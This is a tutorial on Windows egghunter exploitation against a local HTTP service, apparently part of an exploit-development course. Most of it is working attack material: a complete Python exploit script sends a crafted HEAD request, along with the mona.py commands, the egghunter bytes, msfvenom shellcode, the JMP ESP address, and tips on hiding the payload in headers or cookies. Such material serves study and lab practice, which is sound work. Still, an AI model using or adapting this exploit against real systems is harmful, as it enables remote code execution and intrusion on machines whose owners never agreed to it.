Tutorial

Windows Egghunter Exploitation

Use egghunter shellcode to locate and execute a larger payload when buffer space is limited.

2 min read advanced

Prerequisites

  • Experience with Windows buffer overflows
  • Understanding of shellcode execution
  • Familiarity with Immunity Debugger and mona.py
  • Knowledge of memory searching techniques

Part 3 of 3 in Windows Exploitation

Table of Contents

When the buffer space at the crash point is too small for shellcode, egghunters provide a solution. An egghunter is a small piece of code (~32 bytes) that searches memory for a unique marker (“egg”) and jumps to the larger shellcode following it.

When to Use Egghunters

  • Limited buffer space after EIP overwrite
  • Shellcode stored elsewhere in memory (earlier in the request, another field, etc.)
  • Need to locate payload at runtime

Understanding Egghunters

How It Works

  1. Place full shellcode with an egg marker somewhere in memory
  2. Overwrite EIP to execute egghunter
  3. Egghunter searches all memory for the egg
  4. When found, execution jumps to the shellcode

The Egg

  • 4-byte unique pattern repeated twice: STRMSTRM
  • Must not appear anywhere else in the exploit
  • Repeated to avoid false positives

Initial Analysis

Exploit Skeleton

import socket

payload1 = "A"*515 + "BBBB" + "C"*100

buffer = (
"HEAD /" + payload1 + " HTTP/1.1\r\n"
"Host: 127.0.0.1:8080\r\n"
"User-Agent: Exploit writer\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n"
)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)
expl.close()

Verify EIP Control

After crashing:

EIP: 42424242

Only ~100 bytes available after EIP - not enough for standard shellcode.

Finding JMP ESP

!mona jmp -r esp -cpb "\x00\x0a\x0d"

Results:

0x773d10a4 : jmp esp | SHELL32.dll | ASLR: False, SafeSEH: False

Identifying Bad Characters

Using mona

!mona config -set workingfolder C:\mona\
!mona bytearray -b "\x00"

Send all bytes and compare:

!mona compare -f C:\mona\bytearray.bin -a <ESP_address>

Bad Characters Found

\x00\x20\x3f
  • \x00 - Null byte
  • \x20 - Space (HTTP parsing)
  • \x3f - Question mark (URL parsing)

Generating the Egghunter

!mona egg -t STRM

Output:

Egghunter, tag STRM:
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Put this tag in front of your shellcode: STRMSTRM

The egghunter is only 32 bytes - perfect for limited space.

Generating Shellcode

msfvenom -p windows/exec cmd=calc.exe \
         -b "\x00\x20\x3f" \
         -f c

Complete Exploit

import socket

# Bad chars: \x00\x20\x3f

# Egghunter (32 bytes) - searches for STRMSTRM
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

# Shellcode with egg marker
shellcode = (
"\xda\xda\xd9\x74\x24\xf4\x5a\xbf\x54\x98\xd7\x97\x31\xc9\xb1"
"\x31\x31\x7a\x18\x83\xc2\x04\x03\x7a\x40\x7a\x22\x6b\x80\xf8"
"\xcd\x94\x50\x9d\x44\x71\x61\x9d\x33\xf1\xd1\x2d\x37\x57\xdd"
"\xc6\x15\x4c\x56\xaa\xb1\x63\xdf\x01\xe4\x4a\xe0\x3a\xd4\xcd"
"\x62\x41\x09\x2e\x5b\x8a\x5c\x2f\x9c\xf7\xad\x7d\x75\x73\x03"
"\x92\xf2\xc9\x98\x19\x48\xdf\x98\xfe\x18\xde\x89\x50\x13\xb9"
"\x09\x52\xf0\xb1\x03\x4c\x15\xff\xda\xe7\xed\x8b\xdc\x21\x3c"
"\x73\x72\x0c\xf1\x86\x8a\x48\x35\x79\xf9\xa0\x46\x04\xfa\x76"
"\x35\xd2\x8f\x6c\x9d\x91\x28\x49\x1c\x75\xae\x1a\x12\x32\xa4"
"\x45\x36\xc5\x69\xfe\x42\x4e\x8c\xd1\xc3\x14\xab\xf5\x88\xcf"
"\xd2\xac\x74\xa1\xeb\xaf\xd7\x1e\x4e\xbb\xf5\x4b\xe3\xe6\x93"
"\x8a\x71\x9d\xd1\x8d\x89\x9e\x45\xe6\xb8\x15\x0a\x71\x45\xfc"
"\x6f\x8d\x0f\x5d\xd9\x06\xd6\x37\x58\x4b\xe9\xed\x9e\x72\x6a"
"\x04\x5e\x81\x72\x6d\x5b\xcd\x34\x9d\x11\x5e\xd1\xa1\x86\x5f"
"\xf0\xc1\x49\xcc\x98\x2b\xec\x74\x3a\x34"
)

# Build payload
# Egg + shellcode goes at the beginning (will be found by egghunter)
payload1 = "STRMSTRM"           # Egg marker (8 bytes)
payload1 += shellcode           # Full shellcode
payload1 += "A"*(515-len(payload1))  # Padding to reach EIP
payload1 += "\xa4\x10\x3d\x77"  # JMP ESP (0x773d10a4)
payload1 += egghunter           # Egghunter (32 bytes)
payload1 += "C"*(100-len(egghunter))  # Remaining padding

buffer = (
"HEAD /" + payload1 + " HTTP/1.1\r\n"
"Host: 127.0.0.1:8080\r\n"
"User-Agent: Exploit writer\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n"
)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)
expl.close()

Execution Flow

1. Send exploit request

2. "HEAD /[EGG+SHELLCODE][PADDING][JMP_ESP][EGGHUNTER] HTTP/1.1..."

3. Crash occurs, EIP = JMP ESP

4. JMP ESP executes egghunter

5. Egghunter searches memory for "STRMSTRM"
   - Uses system calls to safely check addresses
   - Avoids access violations on invalid memory

6. Finds egg at beginning of request

7. Jumps past egg to shellcode

8. Shellcode executes

Memory Layout

HTTP Request in Memory:

Lower Address
|  "HEAD /"  | STRMSTRM | Shellcode | "A" padding | JMP ESP | Egghunter | " HTTP/..." |
                  ^                                    |
                  |                                    v
                  +---- Egghunter finds this ----<---- Starts here

Egghunter Internals

; NtAccessCheckAndAuditAlarm technique
loop_inc_page:
    or dx, 0x0fff       ; Go to last address in page
loop_inc_one:
    inc edx             ; Next address
    push edx            ; Save address
    push 0x02           ; Syscall: NtAccessCheckAndAuditAlarm
    pop eax
    int 0x2e            ; Syscall
    cmp al, 0x05        ; ACCESS_VIOLATION?
    pop edx             ; Restore address
    je loop_inc_page    ; If violation, skip page

    mov eax, 0x4d525453 ; "STRM" backwards
    mov edi, edx
    scasd               ; Compare [edi] with eax
    jne loop_inc_one    ; Not found, try next
    scasd               ; Check second occurrence
    jne loop_inc_one    ; Not found, try next
    jmp edi             ; Found! Jump to shellcode

Tips and Troubleshooting

Egg Not Found

  1. Verify egg is in memory (search manually in debugger)
  2. Check if egg bytes are corrupted by bad characters
  3. Ensure egg is accessible (not in freed memory)

Slow Execution

Egghunters search all memory - can take several seconds. This is normal.

Alternative Egg Placement

The egg + shellcode can be in:

  • Earlier part of the same request
  • Different HTTP header
  • Separate request (if state persists)
  • User-Agent field
  • Cookie header

Custom Tags

Choose a unique 4-byte tag:

!mona egg -t CUST

Avoid tags that might appear in normal memory.